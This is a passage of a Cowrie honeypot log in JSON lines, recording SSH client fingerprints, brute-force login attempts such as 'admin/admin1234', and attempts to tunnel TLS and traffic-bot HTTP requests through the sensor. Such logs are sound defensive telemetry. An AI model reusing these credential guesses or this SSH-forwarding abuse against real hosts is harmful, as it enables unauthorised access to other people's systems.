\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 4\\xa8\\x88#\\xc0\\x1b\\xae\\r\\xb2\\x8f\\x92\\xd6\\x98\\x86\\x7f6Y\\x02jl\\xa5X\\xa0336v\\x81\\xce\\xde\\xfcz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.159256Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.275109Z","src_ip":"14.103.113.53","session":"9efbb47ee882","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.397278Z","src_ip":"91.92.40.36","session":"702d93b11154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.400087Z","src_ip":"91.92.40.36","session":"702d93b11154","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.439814Z","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.717047Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc\\x03v\\xc49#\\xb7Ll\\xdcI\\x9d\\xa1\\xdc\\x95-b7\\xa5\\x9a\\x03\\x84n\\xa7\\xe0h}w\\x13K\\xdf\\xac \\x91\\xd6\\x07\\x8aT\\x13)\\xee\\x10\\xa2\\xadK\\xc3Il\\x9f\\n\\\\\\x9fA\\xb60\\x14\\x99\\xe3\\'\\xfd\\xf5\\xa4\\xa0\\xb1\\xb2\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 z\\x9b\\xc4\\xb1\\x88\\x87\\xe53\\xac\\xe1Q\\xef\\x85\\x8b\\x89\\xfa\\xe2H\\xaa\\x1ds\\x02\\x043\\x99EX/0|^Q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc\\x03v\\xc49#\\xb7Ll\\xdcI\\x9d\\xa1\\xdc\\x95-b7\\xa5\\x9a\\x03\\x84n\\xa7\\xe0h}w\\x13K\\xdf\\xac \\x91\\xd6\\x07\\x8aT\\x13)\\xee\\x10\\xa2\\xadK\\xc3Il\\x9f\\n\\\\\\x9fA\\xb60\\x14\\x99\\xe3\\'\\xfd\\xf5\\xa4\\xa0\\xb1\\xb2\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 z\\x9b\\xc4\\xb1\\x88\\x87\\xe53\\xac\\xe1Q\\xef\\x85\\x8b\\x89\\xfa\\xe2H\\xaa\\x1ds\\x02\\x043\\x99EX/0|^Q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.719369Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:51.095251Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:51.183483Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.63571119308472,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:51.386775Z","src_ip":"172.81.62.90","session":"b14f23a9ca17","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:51.592066Z","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:51.685128Z","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:51.870954Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G930T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=IUZkcl9UNj5LPkQpQytTYg%3D%3DvfoW3R1HJY%2FI0sHKeaBBctuEOXy8beTWwE5rnD2XRUc8CjEp6DsomqzXN9KBqO2jtAFcMuWTf4rNehUf9XsFnh7zQgmwDdxYEdCw3OFD8Bl0jWjBepdWlhfeAf2zjh3kkrYtFI1QKwXJ82rK5eA6rbduMC8RvYEAeD573YZce%2BalogJi38455nEcmSZcoVkLmJVvAFWU%2BLuomrNsX3Yd8uoPnAxQsLUnH%2B73rk3gDpvTWeE%2FX%2Bg455n8Eg7jVtD9gvyqvw93SfMEIhheF%2F53jjL1pxI%2BZPE8FN8uMkjex26ciUDhx%2BVzvJwqVG1owgAzAEeEUCTUA033hv%2Bg53UgrhRuZaiS99h6PvFhDq6F0XwyolM0oNE3Qy%2FWcL%2FDQvHhRrUUz%2F286I4c2DtcdABujr4uU8ezfQltZtQdQ%2BbKS7ej0AOjxrpjmRwx7ev3Wqlrta9P1lk1QuarNYW8HhCntvzjB2XJYOriv8RJr0b2KETmdzeFqSWEKmhFKjL1tF8B1NNSdVzIQX8aBw8CJzfzW4nLpZVvMUG0APg9QLgtahdqHRWl2B4UwgZunpd9f6ZO%2B0GxhYXVjRQX2PHOHRHcRGgC6jpOyjfaT67hJ2bNRQ%2F55e5KpmLBUMY7vVyAyNReXJPqhpumxgFwQ8ee9yiiKAdNlB%2Bv%2BZnnUk1zFGbdaxaF970U9DOVaLwZecRyaQjohUjD77F%2BNJ0VQKrPvNTObGnnsPX930euH66ZD7FSAAJgcbnjrT%2F0ZRdghpjaaLAJJ7QvDpOz9dPoMLEuCLqB0pkkl3JgLlQMM4Z%2FD5NUDAxMBDSWVBJVL0KcysG9qdKW54S6XVS2HI3qt0udp4BKG68WAB0AGsXZZCLI%2BxEROIyfoNMD6t8NEq3KX1DMSeNLruTfU7eUgGRxpnmsT8Rv9xFMhbxGOdu7UHTUZMVQ2OvRvIoZcrOMFDdpAkBv0JCgnCDg07lV9pDzPOkDwboXjeB9%2BAeZ54gUx2%2FCgvqAlvcx1J%2Bfmgpj4eSQ9V3k6r95wGziXtu9qJCIQQ4znuJT0jtk%2FVs6%2F63Xm5zc7On%2BAgc%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G930T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=IUZkcl9UNj5LPkQpQytTYg%3D%3DvfoW3R1HJY%2FI0sHKeaBBctuEOXy8beTWwE5rnD2XRUc8CjEp6DsomqzXN9KBqO2jtAFcMuWTf4rNehUf9XsFnh7zQgmwDdxYEdCw3OFD8Bl0jWjBepdWlhfeAf2zjh3kkrYtFI1QKwXJ82rK5eA6rbduMC8RvYEAeD573YZce%2BalogJi38455nEcmSZcoVkLmJVvAFWU%2BLuomrNsX3Yd8uoPnAxQsLUnH%2B73rk3gDpvTWeE%2FX%2Bg455n8Eg7jVtD9gvyqvw93SfMEIhheF%2F53jjL1pxI%2BZPE8FN8uMkjex26ciUDhx%2BVzvJwqVG1owgAzAEeEUCTUA033hv%2Bg53UgrhRuZaiS99h6PvFhDq6F0XwyolM0oNE3Qy%2FWcL%2FDQvHhRrUUz%2F286I4c2DtcdABujr4uU8ezfQltZtQdQ%2BbKS7ej0AOjxrpjmRwx7ev3Wqlrta9P1lk1QuarNYW8HhCntvzjB2XJYOriv8RJr0b2KETmdzeFqSWEKmhFKjL1tF8B1NNSdVzIQX8aBw8CJzfzW4nLpZVvMUG0APg9QLgtahdqHRWl2B4UwgZunpd9f6ZO%2B0GxhYXVjRQX2PHOHRHcRGgC6jpOyjfaT67hJ2bNRQ%2F55e5KpmLBUMY7vVyAyNReXJPqhpumxgFwQ8ee9yiiKAdNlB%2Bv%2BZnnUk1zFGbdaxaF970U9DOVaLwZecRyaQjohUjD77F%2BNJ0VQKrPvNTObGnnsPX930euH66ZD7FSAAJgcbnjrT%2F0ZRdghpjaaLAJJ7QvDpOz9dPoMLEuCLqB0pkkl3JgLlQMM4Z%2FD5NUDAxMBDSWVBJVL0KcysG9qdKW54S6XVS2HI3qt0udp4BKG68WAB0AGsXZZCLI%2BxEROIyfoNMD6t8NEq3KX1DMSeNLruTfU7eUgGRxpnmsT8Rv9xFMhbxGOdu7UHTUZMVQ2OvRvIoZcrOMFDdpAkBv0JCgnCDg07lV9pDzPOkDwboXjeB9%2BAeZ54gUx2%2FCgvqAlvcx1J%2Bfmgpj4eSQ9V3k6r95wGziXtu9qJCIQQ4znuJT0jtk%2FVs6%2F63Xm5zc7On%2BAgc%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:51.873942Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1!!","message":"login attempt [root/Admin1!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.082279Z","src_ip":"14.103.113.53","session":"9efbb47ee882","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.149227Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06~\\x1c\\xe4\\xa0\\x80G\\xa4\\xf9\\xbf_\\x1ct\\xab\\xf9^\\xf9\\x92l\\t\\x1f\\xfd\\xc9\\x07\\xca\\xf3\\x10\\x8e\\x94\\xa5\\xb0\\x88 D\\xc5uF\\x8e\\x03\\x97\\x9e7+l\\xe4\\xa8\\xb1Uz\\x87c\\x01\\xfc)Nf\\xa2\\xf7-\\xaf\\x9b\\xfb2g\\x14\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 (+\\xcf\\xe3\\xd2\\xbf\\xd0\\xe4\\xde\\x90oW\\xcb\\x94\\xd3s\\xf3\\x9c?\\xf4H\\xc9\\xf1\\x04-q\\x045\\x8d.\\x99'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data 